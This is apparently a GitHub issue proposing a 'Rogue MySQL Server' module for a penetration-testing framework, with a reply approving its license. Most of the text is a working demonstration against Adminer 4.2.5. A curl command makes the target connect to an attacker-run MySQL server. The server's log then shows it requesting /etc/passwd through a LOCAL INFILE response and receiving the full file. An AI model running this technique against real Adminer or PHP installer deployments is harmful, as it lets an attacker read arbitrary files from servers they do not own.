Open bcoles opened 5 years ago
Add Rogue MySQL Server module as modules/auxiliary/server/ or modules/auxiliary/server/capture.
modules/auxiliary/server/
modules/auxiliary/server/capture
Known to work with Adminer. Will likely also work with many exposed installers for PHP / MySQL based applications, presuming sufficiently permissive network egress filtering.
Tested with Adminer 4.2.5 on Turnkey Linux LAMP Stack.
root@kali-2018:~/Rogue-MySql-Server# ./rogue_mysql_server.py root@kali-2018:~/Rogue-MySql-Server# curl -isk 'https://172.16.191.176:12322/?server=172.16.191.165&username=abc' > /dev/null root@kali-2018:~/Rogue-MySql-Server# cat mysql.log 2019-08-21 12:25:15,885:INFO:Conn from: ('172.16.191.176', 41732) 2019-08-21 12:25:15,886:DEBUG:Pushed: 'A\x00\x00\x00\n3.0.0-Evil_Mysql_Server\x006\x00\x00\x00evilsalt\x00\xdf\xf7\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00evil2222\x00' 2019-08-21 12:25:15,889:DEBUG:Data recved: '<\x00\x00' 2019-08-21 12:25:15,889:DEBUG:Data recved: '\x01\x8d\xa2\n\x00\x00\x00\x00\xc0\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00abc\x00\x00\x00mysql_native_password\x00' 2019-08-21 12:25:15,889:DEBUG:Pushed: '\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00' 2019-08-21 12:25:15,889:INFO:Last packet 2019-08-21 12:25:15,890:DEBUG:Data recved: '\x0f\x00\x00' 2019-08-21 12:25:15,890:DEBUG:Data recved: '\x00\x03SET NAMES utf8' 2019-08-21 12:25:15,890:INFO:Query 2019-08-21 12:25:15,890:DEBUG:Pushed: '\x0c\x00\x00\x01\xfb/etc/passwd' 2019-08-21 12:25:15,890:DEBUG:Data recved: '2\x06\x00' 2019-08-21 12:25:15,890:DEBUG:Data recved: '\x02root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/bin/false\nsystemd-timesync:x:101:103:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:102:104:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:103:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:104:106:systemd Bus Proxy,,,:/run/systemd:/bin/false\nmysql:x:105:107:MySQL Server,,,:/nonexistent:/bin/false\nuuidd:x:106:108::/run/uuidd:/bin/false\nshellinabox:x:107:109:Shell In A Box,,,:/var/lib/shellinabox:/bin/false\nntp:x:108:111::/home/ntp:/bin/false\nstunnel4:x:109:113::/var/run/stunnel4:/bin/false\npostfix:x:110:114::/var/spool/postfix:/bin/false\nsshd:x:111:65534::/run/sshd:/usr/sbin/nologin\n' 2019-08-21 12:25:15,890:INFO:-- result 2019-08-21 12:25:15,890:INFO:Result: '\x02root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/bin/false\nsystemd-timesync:x:101:103:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:102:104:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:103:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:104:106:systemd Bus Proxy,,,:/run/systemd:/bin/false\nmysql:x:105:107:MySQL Server,,,:/nonexistent:/bin/false\nuuidd:x:106:108::/run/uuidd:/bin/false\nshellinabox:x:107:109:Shell In A Box,,,:/var/lib/shellinabox:/bin/false\nntp:x:108:111::/home/ntp:/bin/false\nstunnel4:x:109:113::/var/run/stunnel4:/bin/false\npostfix:x:110:114::/var/spool/postfix:/bin/false\nsshd:x:111:65534::/run/sshd:/usr/sbin/nologin\n' 2019-08-21 12:25:15,890:DEBUG:Data recved: '\x00\x00\x00' 2019-08-21 12:25:15,890:DEBUG:Data recved: '\x03' 2019-08-21 12:25:15,890:INFO:-- result 2019-08-21 12:25:15,890:INFO:Result: '\x03' 2019-08-21 12:25:15,890:DEBUG:Pushed: '\x07\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00' 2019-08-21 12:25:15,891:INFO:Last packet 2019-08-21 12:25:15,891:DEBUG:Data recved: '.\x00\x00' 2019-08-21 12:25:15,891:DEBUG:Data recved: '\x00\x03SET sql_quote_show_create = 1, autocommit = 1' 2019-08-21 12:25:15,891:INFO:Query 2019-08-21 12:25:15,891:DEBUG:Pushed: '\x0c\x00\x00\x01\xfb/etc/passwd' 2019-08-21 12:25:15,891:DEBUG:Data recved: '2\x06\x00' 2019-08-21 12:25:15,891:DEBUG:Data recved: '\x02root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/bin/false\nsystemd-timesync:x:101:103:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:102:104:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:103:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:104:106:systemd Bus Proxy,,,:/run/systemd:/bin/false\nmysql:x:105:107:MySQL Server,,,:/nonexistent:/bin/false\nuuidd:x:106:108::/run/uuidd:/bin/false\nshellinabox:x:107:109:Shell In A Box,,,:/var/lib/shellinabox:/bin/false\nntp:x:108:111::/home/ntp:/bin/false\nstunnel4:x:109:113::/var/run/stunnel4:/bin/false\npostfix:x:110:114::/var/spool/postfix:/bin/false\nsshd:x:111:65534::/run/sshd:/usr/sbin/nologin\n' 2019-08-21 12:25:15,891:INFO:-- result 2019-08-21 12:25:15,891:INFO:Result: '\x02root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/bin/false\nsystemd-timesync:x:101:103:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:102:104:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:103:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:104:106:systemd Bus Proxy,,,:/run/systemd:/bin/false\nmysql:x:105:107:MySQL Server,,,:/nonexistent:/bin/false\nuuidd:x:106:108::/run/uuidd:/bin/false\nshellinabox:x:107:109:Shell In A Box,,,:/var/lib/shellinabox:/bin/false\nntp:x:108:111::/home/ntp:/bin/false\nstunnel4:x:109:113::/var/run/stunnel4:/bin/false\npostfix:x:110:114::/var/spool/postfix:/bin/false\nsshd:x:111:65534::/run/sshd:/usr/sbin/nologin\n' 2019-08-21 12:25:15,891:DEBUG:Data recved: '\x00\x00\x00' 2019-08-21 12:25:15,891:DEBUG:Data recved: '\x03' 2019-08-21 12:25:15,891:INFO:-- result 2019-08-21 12:25:15,891:INFO:Result: '\x03' 2019-08-21 12:25:15,891:DEBUG:Pushed: '\x07\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00' 2019-08-21 12:25:15,891:INFO:Last packet 2019-08-21 12:25:15,892:DEBUG:Data recved: '\x01\x00\x00' 2019-08-21 12:25:15,892:DEBUG:Data recved: '\x00\x01' root@kali-2018:~/Rogue-MySql-Server#
License looks good to me. Can add as an external module.
Add Rogue MySQL Server module as
modules/auxiliary/server/
ormodules/auxiliary/server/capture
.Known to work with Adminer. Will likely also work with many exposed installers for PHP / MySQL based applications, presuming sufficiently permissive network egress filtering.
Tested with Adminer 4.2.5 on Turnkey Linux LAMP Stack.